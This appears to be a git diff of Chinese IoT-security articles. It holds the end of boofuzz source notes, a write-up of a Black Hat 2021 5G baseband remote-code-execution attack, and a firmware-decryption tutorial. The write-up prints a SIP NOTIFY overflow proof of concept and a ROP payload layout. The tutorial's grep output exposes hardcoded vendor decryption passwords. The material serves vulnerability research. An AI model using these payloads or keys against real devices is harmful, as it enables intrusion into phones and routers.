首先判断是否有callback_data,如果有的话则使用callback_data,如果没有的话则使用变异得来的数据。随后使用自定义的send方法发送数据,并将发送的数据存到last_send中。如果开启了接收数据选项则尝试接收数据,如果接收到了则存到last_recv中。随后跟着的也是很多异常的捕捉和处理。
|
||||
|
||||
分析到transmit_fuzz其实已经分析到了最后的实际收发数据的地方。整体的fuzz流程已经走完了。
|
||||
|
||||
根据分析过程可以画出如下的流程图来辅助我们理解源码
|
||||
|
||||

|
||||
|
||||
但是有一些地方我们为了走完流程,暂时还没有深入进行分析,比如boofuzz是如何产生的变异数据迭代器,我们现在只知道会通过_generate_mutations_indefinitely函数产生这么一个迭代器,然后遍历一遍去进行测试。再比如监视器和重复器到底是干什么用的,状态图部分也就是源码里的pgraph部分是怎么用的等等问题。可以带着这些问题期待源码笔记(三)。
|
||||
@@ -0,0 +1,134 @@
|
||||
# “入侵5G手机”(一)Black Hat USA 2021:通过无线基带-针对5G智能手机的RCE远程代码执行攻击白皮书
|
||||
> 白羽·
|
||||
> 来源:https://www.iotsec-zone.com/article/93
|
||||
|
||||
# **研究5G网络安全的背景:**
|
||||
|
||||
近年来,我们看到5G网络被广泛采用,包括消费设备、物联网和关键基础设施。
|
||||
对连接到5G网络的设备数量的估计各不相同,但统计数据显示,这些设备在市场上占有很大的份额。
|
||||
为了加入5G网络,每一个设备都必须配备5G调制解调器(5G modem),负责调制信号和实施无线电协议。该组件通常也称为基带。
|
||||
保护这些组件的安全非常重要,因为它们处理来自无线网络的不可信数据,这使得它们对远程攻击者特别有吸引力。
|
||||
在我们之前的工作中,我们检查了上一代网络(如2G、3G或4G)的安全调制解调器,并实现了RCE攻击。
|
||||
本文将探讨5G网络发生了哪些变化,在安全方面有哪些改进,哪些没有。此次将演示在新一代5G智能手机上完成RCE是有可能的。
|
||||
近些年来5G网络安全是完全没有被设计到的领域,白皮书提供了两篇文章供作为背景知识参考:
|
||||
|
||||
1. Huawei modem remote code execution
|
||||
2. pwn2own Amat Cama work on Samsung Shannon
|
||||
|
||||
## **研究准备方法:**
|
||||
|
||||
### 寻找目标:
|
||||
|
||||
购买了市面上的不同5G智能手机
|
||||
|
||||
### 攻击范围:
|
||||
|
||||
完成一次RCE攻击
|
||||
|
||||
### 漏洞挖掘范围:
|
||||
|
||||
不访问任何商业5G基站的情况下触发漏洞
|
||||
|
||||
### 5G设备的区别:
|
||||
|
||||
非独立模式(NSA):该模式结合了新的5G信号,并利用了4G网络的其他组件。
|
||||
独立模式(SA):该模式完全实现并使用5G新无线信号与5G网络协议。
|
||||
|
||||
### 测试手机型号:
|
||||
|
||||
Vivo S6 5G手机 SA模板 骁龙980 三星Shannon基带
|
||||

|
||||

|
||||

|
||||
|
||||
### 审计范围与漏洞挖掘
|
||||
|
||||
在审计过程中发现了stack cookie缓解保护又称为Stack Canary,这是一种经典的缓冲区溢出的保护机制.
|
||||
Stack Cannary通过在栈中设置标识检查输入的数据是否破坏栈,只要绕过Stack Cannary保护就能完成攻击。
|
||||
在5G设备中仍然会出现“栈溢出”这种低级毛病,最有趣的不是栈溢出环节,而是分析基带中的XML程序,XML解析器负责解析从网络到设备调制解调器的IMS消息。
|
||||
其中,在5G与4G通信中会通过IMS建立联系,基带就是IMS的客户端,它会处理VoLTE与VoNR信息,所以一定会传输有关SIP的信息,IMS服务端通过SIP信息与modem进行数据传输。
|
||||
IMS是4G和5G网络的首选架构,在其上构建交互式呼叫,我们稍后将了解这对本研究的重要性。
|
||||
基带它是一个IMS客户端,负责处理VOLT、VoNR消息,因此它必须能够处理SIP消息,IMS服务器使用SIP消息与调制解调器通信。
|
||||
下面是message示例:
|
||||
|
||||

|
||||
SIP是一种基于文本、类似HTTP的协议,包括头和内容。接收器(在本例中为基带)需要解析来自服务器的消息。
|
||||
|
||||
### 漏洞
|
||||
|
||||
我们的OTA远程代码执行错误位于基带的IMS部分。解析SIP协议消息的XML内容时,它将调用函数IMSPL_XmlGetNextTagName
|
||||
这个调制解调器没有调试符号或信息,因此所有函数名、类型和函数签名都可以从日志字符串手动恢复,也可以通过反向工程恢复。这个函数将解析src中的XML标记,并将其名称复制到dst,例如,把“meta”复制到缓冲区中。
|
||||
|
||||
```
|
||||
<meta name=“viewport”content=“width=device width,initial scale=1”>
|
||||
```
|
||||
|
||||
|
||||

|
||||
下面这个函数在寻找结束标志跳过一些特殊字符如:’/’’>’?’
|
||||

|
||||
函数没有做任何安全检测,可以完成任意call与缓冲区溢出。
|
||||
通过IMSPL_XmlGetNextTagName我们寻找到有许多可以进行call的地方,由于缓冲区是从OTA消息中提取的,因此它们中的大多数都易受攻击。
|
||||
我们选择栈溢出是可靠的,没有stack canary 保护,因此我们可以简单地完成缓冲区溢出,控制存储在栈上的返回地址,并执行我们的shellcode。
|
||||
这是溢出的函数IMSPL_XmlParser_ContactLstDecode
|
||||

|
||||
当我们观察到char v11[136]; v11变量在栈上有100byte大小的缓冲区可以溢出
|
||||
我们同样找到了相似的函数IMSPL_XmlParser_RegLstDecode
|
||||
IMSPL_XmlParser_ContElemChildNodeDecode 等。
|
||||
根据以上函数的名字我们可以推测,我们可以完成一次ROP链攻击
|
||||
MSPL_XmlParser_RegInfoDecode -> IMSPL_XmlParser_RegInfoElemDecode ->
|
||||
IMSPL_XmlParser_RegLstDecode->
|
||||
IMSPL_XmlParser_RegistratonElemDecode->
|
||||
IMSPL_XmlParser_ContactLstDecode
|
||||
如果payload通过SIP协议中的NOTIFY信息发送,可以造成基带崩溃。由于函数find_tag_end里面对一些字符的黑名单,
|
||||
“\x00\x09\x0a\x0d\x20\x2f\x3e\x3f”,所以我们在构建ROP链
|
||||
不能利用有用的gadgets
|
||||
下面是使基带崩溃的POC不能完成攻击
|
||||
|
||||
```
|
||||
NOTIFY sip:[email protected]:5060 SIP/2.0
|
||||
Via: SIP/2.0/TCP 172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a878daee5112.0
|
||||
Via: SIP/2.0/UDP
|
||||
172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000.0
|
||||
To: <sip:666666>;tag=31f5ed9f
|
||||
From: <sip:@666666>;tag=facfaba04ffdc638bb119e5faba08da6-3a20000
|
||||
CSeq: 4 NOTIFY
|
||||
Call-ID: [email protected]
|
||||
Content-Length: 1719
|
||||
User-Agent: Kamailio S-CSCF
|
||||
Contact: <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
|
||||
Event: reg
|
||||
Max-Forwards: 69
|
||||
Subscription-State: active;expires=600000
|
||||
Content-Type: application/reginfo+xml
|
||||
<?xml version=”1.0”?>
|
||||
<reginfo xmlns=”urn:ietf:params:xml:ns:reginfo” version=”2” state=”full”>
|
||||
<registration aor=”tel:666666” id=”0x7f970dea8570” state=”active”>
|
||||
<contact id=”0x7f970dea7710” state=”active” event=”registered” expires=”599996” q=”0.000”> <uri>sip:[email protected]:5060;alias=192.168.101.2~49214~2</uri>
|
||||
<unknown-param
|
||||
name=”+sip.instance”>”<urn:gsma:imei:86044804-970539-0>”</unknown-param>
|
||||
<unknown-param name=”+g.3gpp.smsip”></unknown-param>
|
||||
<unknown-param name=”video”></unknown-param> <unknown-param name=”+g.3gpp.icsi-ref”>”urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel ”</unknown-param>
|
||||
</contact>
|
||||
</registration>
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋ payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
|
||||
</reginfo>
|
||||
```
|
||||
|
||||
在ROP链执行以后,基带仍然是完好无损的,我们可以更换一个更好的位置进行溢出,例如标签
|
||||
|
||||
```
|
||||
<?xml version=”1.0”?>
|
||||
<reginfo xmlns=”urn:ietf:params:xml:ns:reginfo” version=”2” state=”full”>
|
||||
<registration aor=”tel:666666” id=”0x7fe072423570” state=”active”>
|
||||
<contact id=”0x7fe072422710” state=”active” event=”registered” expires=”599996” q=”0.000”>
|
||||
AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here>test</haha
|
||||
</contact>
|
||||
</registration>
|
||||
</reginfo>
|
||||
```
|
||||
|
||||
Payload的结构如下:
|
||||

|
||||
在栈上Payload是从100byte的’A’开始,紧接着栈上保存了R4-R11。真正的ROP链是为了从栈上复制shellcode然后执行shellcode
|
||||
(未完待续)
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,459 @@
|
||||
# 一种加密固件的解密思路
|
||||
> 1con
|
||||
> 来源:https://www.iotsec-zone.com/article/21
|
||||
|
||||
#### 在进行IoT设备漏洞挖掘时,获取固件十分重要,可以通过对固件进行逆向分析,掌握设备内部的运行逻辑,达到灰盒甚至白盒测试的效果。
|
||||
随着IoT厂商对安全的重视,很多设备的固件开始加密,由于IoT设备的算力有限,所以常见的加密方式为,使用硬编码的对称加密方式,例如AES、DES之类的,还可以基于硬编码的字符串进行一些数据计算,然后作为解密密钥。对于这种加密方式,可以在老版本固件或直接从存储芯片中读取的固件中寻找加解密算法和密钥,对加密的固件进行解密。
|
||||
|
||||
### 加密固件的识别
|
||||
|
||||
* 利用`file`命令
|
||||
正常的固件
|
||||
|
||||
```bash
|
||||
❯ file mAX19.bin
|
||||
mAX19.bin: u-boot legacy uImage, MT7621 NAND, Firmware/MIPS, Standalone Program
|
||||
(Not compressed), 69064 bytes, Thu Jan 1 00:00:00 1970, Load Address:
|
||||
0x80100000, Entry Point: 0x80100000, Header CRC: 0x172D6721, Data CRC:
|
||||
0xBFD7EB74
|
||||
```
|
||||
|
||||
对于正常的固件,可以看到CPU架构,入口点等信息。
|
||||
加密的固件
|
||||
|
||||
```shell
|
||||
❯ file TB-WR1800K-MT7621-CPE-mAX19-V1.0-202012121212
|
||||
TB-WR1800K-MT7621-CPE-mAX19-V1.0-202012121212: openssl enc'd data with salted
|
||||
password
|
||||
```
|
||||
|
||||
`file`无法获取更多的信息,且提示已被加密。
|
||||
|
||||
* `binwalk`
|
||||
`binwalk`作为固件解包的神器,同样可以用来判别固件是否加密。
|
||||
正常的固件:
|
||||
|
||||
```shell
|
||||
❯ binwalk 0945-03.50.06.fw.pkg.dec
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------- -------------------
|
||||
----
|
||||
0 0x0 gzip compressed data, from Unix, last modified:
|
||||
2021-05-14 07:04:41
|
||||
12755570 0xC2A272 MySQL MISAM compressed data file Version 2
|
||||
```
|
||||
未加密的固件可以通过`binwalk`查看压缩方式和数据范围等。
|
||||
加密的固件
|
||||
```shell
|
||||
❯ binwalk 0945-03.50.06.fw.pkg.bak
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
------------------------------------------------------------------------------
|
||||
--
|
||||
11646886 0xB1B7A6 StuffIt Deluxe Segment (data): fc
|
||||
```
|
||||
|
||||
只提示为`data`,具体的压缩方式无法得知。
|
||||
还有一种方式就是查看固件的熵值。熵值是用来衡量不确定性,熵值越大则说明固件越有可能被加密或者压缩了。这个地方说的是被加密或者压缩了,被压缩的情况也是会让熵值变高或者接近1的,如下是使用`binwalk-E`查看一个未加密固件(RAX200)和加密固件(DIR 3040)。可以看到,RAX200和DIR 3040相对比,不像后者那样直接全部是接近1了。
|
||||

|
||||

|
||||
|
||||
### 固件解密
|
||||
前面也提到,IoT设备本身算力有限,即使对固件进行加密,其加密算法也不会太复杂,通常也会把密钥硬编码在固件里,想要得到密钥,首先要得到未加密的固件,有以下两种方式:
|
||||
1、获取老版本未加密固件。可以从设备官网下载,也可以抓包获取OTA链接,然后再根据版本信息拼老版本固件的下载链接等。
|
||||
2、直接从设备中读取。运行在设备上的固件是已经解密的,可以通过串口、调试接口等读取固件,也可以直接从存储芯片读取。
|
||||
以上面提到的第一个加密固件为例,这里利用`uboot`中的`md`命令读取内存的方式从设备中读取未加密固件,具体过程就不再赘述,这种文章有很多。
|
||||
|
||||
得到固件后,`binwalk -Me`解包,得到完整的文件系统。
|
||||
|
||||
```shell
|
||||
❯ tree -L 1./
|
||||
.
|
||||
├── 12A0000.jffs2
|
||||
├── 1800E4
|
||||
├── 1800E4.7z
|
||||
├── 20040
|
||||
├── 20040.7z
|
||||
├── 21800E4
|
||||
├── 21800E4.7z
|
||||
├── 2340000.squashfs
|
||||
├── 340000.squashfs
|
||||
├── 34E0000.jffs2
|
||||
├── _1800E4.extracted
|
||||
├── _21800E4.extracted
|
||||
├── jffs2-root
|
||||
├── jffs2-root-0
|
||||
├── squashfs-root
|
||||
└── squashfs-root-0
|
||||
6 directories, 10 files
|
||||
```
|
||||
|
||||
通过`file`知道固件的加密方式为`openssl enc'd data with salted password`,可以在文件系统中查找关键字`openssl`
|
||||
|
||||
```shell
|
||||
❯ grep -rn "openssl" ./
|
||||
./squashfs-root/etc/init.d/uhttpd:10:OPENSSL_BIN="/usr/bin/openssl"
|
||||
./squashfs-root/etc/openwrt.config:2241:# CONFIG_PACKAGE_openwisp-config-openssl
|
||||
is not set
|
||||
./squashfs-root/etc/openwrt.config:2999:# CONFIG_PACKAGE_lua-openssl is not set
|
||||
./squashfs-root/etc/openwrt.config:3104:# CONFIG_PACKAGE_python-openssl is not
|
||||
set
|
||||
./squashfs-root/etc/openwrt.config:3115:# CONFIG_PACKAGE_python-pyopenssl is not
|
||||
set
|
||||
./squashfs-root/etc/openwrt.config:3146:# CONFIG_PACKAGE_python3-openssl is not
|
||||
set
|
||||
./squashfs-root/etc/openwrt.config:3336:CONFIG_PACKAGE_libopenssl=y
|
||||
./squashfs-root/etc/openwrt.config:3384:CONFIG_PACKAGE_libopenssl-conf=y
|
||||
./squashfs-root/etc/openwrt.config:3385:# CONFIG_PACKAGE_libopenssl-devcrypto is
|
||||
not set
|
||||
./squashfs-root/etc/openwrt.config:3474:# CONFIG_PACKAGE_libarchive-noopenssl is
|
||||
not set
|
||||
./squashfs-root/etc/openwrt.config:3740:# CONFIG_PACKAGE_libustream-openssl is
|
||||
not set
|
||||
./squashfs-root/etc/openwrt.config:3751:# CONFIG_PACKAGE_libwebsockets-openssl is
|
||||
not set
|
||||
./squashfs-root/etc/openwrt.config:3792:# CONFIG_PACKAGE_luci-ssl-openssl is not
|
||||
set
|
||||
./squashfs-root/etc/openwrt.config:4320:# CONFIG_PACKAGE_transmission-cli-openssl
|
||||
is not set
|
||||
./squashfs-root/etc/openwrt.config:4322:# CONFIG_PACKAGE_transmission-daemonopenssl
|
||||
is not set
|
||||
./squashfs-root/etc/openwrt.config:4324:# CONFIG_PACKAGE_transmission-remoteopenssl
|
||||
is not set
|
||||
./squashfs-root/etc/openwrt.config:4521:# CONFIG_PACKAGE_umurmur-openssl is not
|
||||
set
|
||||
./squashfs-root/etc/openwrt.config:4749:# CONFIG_PACKAGE_openvpn-openssl is not
|
||||
set
|
||||
./squashfs-root/etc/openwrt.config:4802:# CONFIG_PACKAGE_strongswan-mod-openssl
|
||||
is not set
|
||||
./squashfs-root/etc/openwrt.config:5019:# CONFIG_PACKAGE_hnetd-openssl is not
|
||||
set
|
||||
./squashfs-root/etc/openwrt.config:5411:# CONFIG_PACKAGE_shairport-sync-openssl
|
||||
is not set
|
||||
./squashfs-root/etc/openwrt.config:5478:# CONFIG_PACKAGE_cryptsetup-openssl is
|
||||
not set
|
||||
./squashfs-root/etc/openwrt.config:5570:# CONFIG_PACKAGE_rtty-openssl is not set
|
||||
./squashfs-root/etc/openwrt.config:5763:CONFIG_PACKAGE_openssl-util=y
|
||||
./squashfs-root/etc/ssl/openssl.cnf:19:# "openssl x509" utility, name here the
|
||||
section containing the
|
||||
./squashfs-root/etc/ssl/openssl.cnf:25:openssl_conf=openssl_conf
|
||||
./squashfs-root/etc/ssl/openssl.cnf:27:[openssl_conf]
|
||||
./squashfs-root/etc/ssl/openssl.cnf:43:# Run 'openssl engine -t -c -vv -pre
|
||||
DUMP_INFO devcrypto' to see a
|
||||
./squashfs-root/etc/ssl/openssl.cnf:73:# Run 'openssl engine -t -c -vv -pre
|
||||
DUMP_INFO devcrypto' to see a
|
||||
Binary file ./squashfs-root/usr/bin/openssl matches
|
||||
Binary file ./squashfs-root/usr/lib/libcrypto.so.1.1 matches
|
||||
Binary file ./squashfs-root/usr/lib/libcurl.so.4.5.0 matches
|
||||
Binary file ./squashfs-root/usr/lib/libhogweed.so.4.3 matches
|
||||
Binary file ./squashfs-root/usr/lib/libnettle.so.6.3 matches
|
||||
./squashfs-root/usr/lib/opkg/info/andlink.control:3:Depends: libc, lua,
|
||||
libopenssl, libpcap, zlib
|
||||
./squashfs-root/usr/lib/opkg/info/iperf3.control:3:Depends: libc, libopenssl
|
||||
./squashfs-root/usr/lib/opkg/info/libcurl.control:3:Depends: libc, libopenssl,
|
||||
ca-bundle
|
||||
./squashfs-root/usr/lib/opkg/info/libopensslconf.
|
||||
conffiles:1:/etc/ssl/openssl.cnf
|
||||
./squashfs-root/usr/lib/opkg/info/libopenssl-conf.control:1:Package: libopensslconf
|
||||
./squashfs-root/usr/lib/opkg/info/libopenssl-conf.control:3:Depends: libc,
|
||||
libopenssl
|
||||
./squashfs-root/usr/lib/opkg/info/libopenssl-conf.control:4:Source:
|
||||
package/libs/openssl
|
||||
./squashfs-root/usr/lib/opkg/info/libopenssl-conf.control:15: This package
|
||||
installs the OpenSSL configuration file /etc/ssl/openssl.cnf.
|
||||
./squashfs-root/usr/lib/opkg/info/libopenssl-conf.list:1:/etc/ssl/openssl.cnf
|
||||
./squashfs-root/usr/lib/opkg/info/libopenssl.control:1:Package: libopenssl
|
||||
./squashfs-root/usr/lib/opkg/info/libopenssl.control:4:Source:
|
||||
package/libs/openssl
|
||||
./squashfs-root/usr/lib/opkg/info/nginx-ssl.control:3:Depends: libc, libpcre,
|
||||
libopenssl, zlib, liblua, libpthread, libubus, libblobmsg-json, libjson-c, li
|
||||
openssl
|
||||
./squashfs-root/usr/lib/opkg/info/ntpdate.control:3:Depends: libc, libopenssl,
|
||||
libpthread, libcap
|
||||
./squashfs-root/usr/lib/opkg/info/openssh-sftp-server.control:3:Depends: libc,
|
||||
libopenssl, zlib
|
||||
./squashfs-root/usr/lib/opkg/info/openssl-util.control:1:Package: openssl-util
|
||||
./squashfs-root/usr/lib/opkg/info/openssl-util.control:3:Depends: libc,
|
||||
libopenssl, libopenssl-conf
|
||||
./squashfs-root/usr/lib/opkg/info/openssl-util.control:4:Source:
|
||||
package/libs/openssl
|
||||
./squashfs-root/usr/lib/opkg/info/openssl-util.list:1:/usr/bin/openssl
|
||||
./squashfs-root/usr/lib/opkg/info/skynet-encrypt.control:3:Depends: libc, skynet,
|
||||
openssl-util
|
||||
./squashfs-root/usr/lib/opkg/info/sysmgr-status.list:8:/usr/sbin/openssltar.sh
|
||||
./squashfs-root/usr/lib/opkg/info/wapp.control:3:Depends: libc, libkvcutil,
|
||||
libopenssl
|
||||
./squashfs-root/usr/lib/opkg/status:54:Depends: libc, libopenssl, zlib
|
||||
./squashfs-root/usr/lib/opkg/status:76:Depends: libc, libkvcutil, libopenssl
|
||||
./squashfs-root/usr/lib/opkg/status:202:Depends: libc, lua, libopenssl, libpcap,
|
||||
zlib
|
||||
./squashfs-root/usr/lib/opkg/status:401:Depends: libc, libopenssl, ca-bundle
|
||||
./squashfs-root/usr/lib/opkg/status:414:Package: openssl-util
|
||||
./squashfs-root/usr/lib/opkg/status:416:Depends: libc, libopenssl, libopensslconf
|
||||
./squashfs-root/usr/lib/opkg/status:515:Depends: libc, skynet, openssl-util
|
||||
./squashfs-root/usr/lib/opkg/status:1322:Depends: libc, libpcre, libopenssl,
|
||||
zlib, liblua, libpthread, libubus, libblobmsg-json, libjson-c, libopenssl
|
||||
./squashfs-root/usr/lib/opkg/status:1893:Package: libopenssl-conf
|
||||
./squashfs-root/usr/lib/opkg/status:1895:Depends: libc, libopenssl
|
||||
./squashfs-root/usr/lib/opkg/status:1899: /etc/ssl/openssl.cnf
|
||||
58e084d4ae684846199e34a6e427ee75bdbf60ecb44311011906784b652a4e75
|
||||
./squashfs-root/usr/lib/opkg/status:2358:Depends: libc, libopenssl, libpthread,
|
||||
libcap
|
||||
./squashfs-root/usr/lib/opkg/status:2476:Depends: libc, libopenssl
|
||||
./squashfs-root/usr/lib/opkg/status:2531:Package: libopenssl
|
||||
Binary file ./squashfs-root/usr/lib/sftp-server matches
|
||||
./squashfs-root/usr/sbin/check_ready:15:openssl aes-256-cbc -d -salt -in $fw -out
|
||||
/tmp/decrypt.img -k "QiLunSmartWL"
|
||||
Binary file ./squashfs-root/usr/sbin/dpiPlugin matches
|
||||
./squashfs-root/usr/sbin/eoscrypt-tool:11: encrypt_str=$(echo
|
||||
"${source_str}" | openssl enc -e -aes-256-cbc -a -K ${key} -iv ${iv} -nosalt)
|
||||
./squashfs-root/usr/sbin/eoscrypt-tool:18: decrypt_str=$(echo
|
||||
"${source_str}" | openssl enc -e -aes-256-cbc -a -K ${key} -iv ${iv} -nosalt -d)
|
||||
Binary file ./squashfs-root/usr/sbin/managePlugin matches
|
||||
Binary file ./squashfs-root/usr/sbin/nginx matches
|
||||
./squashfs-root/usr/sbin/openssltar.sh:2:OPENSSL=openssl
|
||||
Binary file ./squashfs-root/usr/sbin/wpad matches
|
||||
./squashfs-root/usr/share/skynet/lualib/http/websocket.lua:353: --
|
||||
openssl req -x509 -newkey rsa:2048 -days 3650 -nodes -keyout server-key.pem -out
|
||||
server-cert.pem
|
||||
./squashfs-root/usr/share/sysmgr/apps/sysbackup.sh:24: timeout -t 10
|
||||
openssltar.sh tar $backupdir $outpath wjrc0409
|
||||
./squashfs-root/usr/share/sysmgr/apps/sysbackup.sh:25: test $? -eq 0 || err_exit
|
||||
"openssltar.sh tar fail"
|
||||
./squashfs-root/usr/share/sysmgr/apps/sysbackup.sh:38: timeout -t 10
|
||||
openssltar.sh untar $inpath $recover_dir wjrc0409
|
||||
./squashfs-root/usr/share/sysmgr/apps/sysbackup.sh:39: test $? -eq 0 || err_exit
|
||||
"openssltar.sh tar fail"
|
||||
./squashfs-root-0/etc/init.d/uhttpd:10:OPENSSL_BIN="/usr/bin/openssl"
|
||||
./squashfs-root-0/etc/openwrt.config:2241:# CONFIG_PACKAGE_openwisp-configopenssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:2999:# CONFIG_PACKAGE_lua-openssl is not
|
||||
set
|
||||
./squashfs-root-0/etc/openwrt.config:3104:# CONFIG_PACKAGE_python-openssl is not
|
||||
set
|
||||
./squashfs-root-0/etc/openwrt.config:3115:# CONFIG_PACKAGE_python-pyopenssl is
|
||||
not set
|
||||
./squashfs-root-0/etc/openwrt.config:3146:# CONFIG_PACKAGE_python3-openssl is not
|
||||
set
|
||||
./squashfs-root-0/etc/openwrt.config:3336:CONFIG_PACKAGE_libopenssl=y
|
||||
./squashfs-root-0/etc/openwrt.config:3384:CONFIG_PACKAGE_libopenssl-conf=y
|
||||
./squashfs-root-0/etc/openwrt.config:3385:# CONFIG_PACKAGE_libopenssl-devcrypto
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:3474:# CONFIG_PACKAGE_libarchive-noopenssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:3740:# CONFIG_PACKAGE_libustream-openssl is
|
||||
not set
|
||||
./squashfs-root-0/etc/openwrt.config:3751:# CONFIG_PACKAGE_libwebsockets-openssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:3792:# CONFIG_PACKAGE_luci-ssl-openssl is
|
||||
not set
|
||||
./squashfs-root-0/etc/openwrt.config:4320:# CONFIG_PACKAGE_transmission-cliopenssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:4322:# CONFIG_PACKAGE_transmission-daemonopenssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:4324:# CONFIG_PACKAGE_transmission-remoteopenssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:4521:# CONFIG_PACKAGE_umurmur-openssl is not
|
||||
set
|
||||
./squashfs-root-0/etc/openwrt.config:4749:# CONFIG_PACKAGE_openvpn-openssl is not
|
||||
set
|
||||
./squashfs-root-0/etc/openwrt.config:4802:# CONFIG_PACKAGE_strongswan-mod-openssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:5019:# CONFIG_PACKAGE_hnetd-openssl is not
|
||||
set
|
||||
./squashfs-root-0/etc/openwrt.config:5411:# CONFIG_PACKAGE_shairport-sync-openssl
|
||||
is not set
|
||||
./squashfs-root-0/etc/openwrt.config:5478:# CONFIG_PACKAGE_cryptsetup-openssl is
|
||||
not set
|
||||
./squashfs-root-0/etc/openwrt.config:5570:# CONFIG_PACKAGE_rtty-openssl is not
|
||||
set
|
||||
./squashfs-root-0/etc/openwrt.config:5763:CONFIG_PACKAGE_openssl-util=y
|
||||
./squashfs-root-0/etc/ssl/openssl.cnf:19:# "openssl x509" utility, name here the
|
||||
section containing the
|
||||
./squashfs-root-0/etc/ssl/openssl.cnf:25:openssl_conf=openssl_conf
|
||||
./squashfs-root-0/etc/ssl/openssl.cnf:27:[openssl_conf]
|
||||
./squashfs-root-0/etc/ssl/openssl.cnf:43:# Run 'openssl engine -t -c -vv -pre
|
||||
DUMP_INFO devcrypto' to see a
|
||||
./squashfs-root-0/etc/ssl/openssl.cnf:73:# Run 'openssl engine -t -c -vv -pre
|
||||
DUMP_INFO devcrypto' to see a
|
||||
Binary file ./squashfs-root-0/usr/bin/openssl matches
|
||||
Binary file ./squashfs-root-0/usr/lib/libcrypto.so.1.1 matches
|
||||
Binary file ./squashfs-root-0/usr/lib/libcurl.so.4.5.0 matches
|
||||
Binary file ./squashfs-root-0/usr/lib/libhogweed.so.4.3 matches
|
||||
Binary file ./squashfs-root-0/usr/lib/libnettle.so.6.3 matches
|
||||
./squashfs-root-0/usr/lib/opkg/info/andlink.control:3:Depends: libc, lua,
|
||||
libopenssl, libpcap, zlib
|
||||
./squashfs-root-0/usr/lib/opkg/info/iperf3.control:3:Depends: libc, libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/libcurl.control:3:Depends: libc, libopenssl,
|
||||
ca-bundle
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopensslconf.
|
||||
conffiles:1:/etc/ssl/openssl.cnf
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopenssl-conf.control:1:Package:
|
||||
libopenssl-conf
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopenssl-conf.control:3:Depends: libc,
|
||||
libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopenssl-conf.control:4:Source:
|
||||
package/libs/openssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopenssl-conf.control:15: This package
|
||||
installs the OpenSSL configuration file /etc/ssl/openssl.cnf.
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopenssl-conf.list:1:/etc/ssl/openssl.cnf
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopenssl.control:1:Package: libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/libopenssl.control:4:Source:
|
||||
package/libs/openssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/nginx-ssl.control:3:Depends: libc, libpcre,
|
||||
libopenssl, zlib, liblua, libpthread, libubus, libblobmsg-json, libjson-c,
|
||||
libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/ntpdate.control:3:Depends: libc, libopenssl,
|
||||
libpthread, libcap
|
||||
./squashfs-root-0/usr/lib/opkg/info/openssh-sftp-server.control:3:Depends: libc,
|
||||
libopenssl, zlib
|
||||
./squashfs-root-0/usr/lib/opkg/info/openssl-util.control:1:Package: openssl-util
|
||||
./squashfs-root-0/usr/lib/opkg/info/openssl-util.control:3:Depends: libc,
|
||||
libopenssl, libopenssl-conf
|
||||
./squashfs-root-0/usr/lib/opkg/info/openssl-util.control:4:Source:
|
||||
package/libs/openssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/openssl-util.list:1:/usr/bin/openssl
|
||||
./squashfs-root-0/usr/lib/opkg/info/skynet-encrypt.control:3:Depends: libc,
|
||||
skynet, openssl-util
|
||||
./squashfs-root-0/usr/lib/opkg/info/sysmgr-status.list:8:/usr/sbin/openssltar.sh
|
||||
./squashfs-root-0/usr/lib/opkg/info/wapp.control:3:Depends: libc, libkvcutil,
|
||||
libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/status:54:Depends: libc, libopenssl, zlib
|
||||
./squashfs-root-0/usr/lib/opkg/status:76:Depends: libc, libkvcutil, libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/status:202:Depends: libc, lua, libopenssl,
|
||||
libpcap, zlib
|
||||
./squashfs-root-0/usr/lib/opkg/status:401:Depends: libc, libopenssl, ca-bundle
|
||||
./squashfs-root-0/usr/lib/opkg/status:414:Package: openssl-util
|
||||
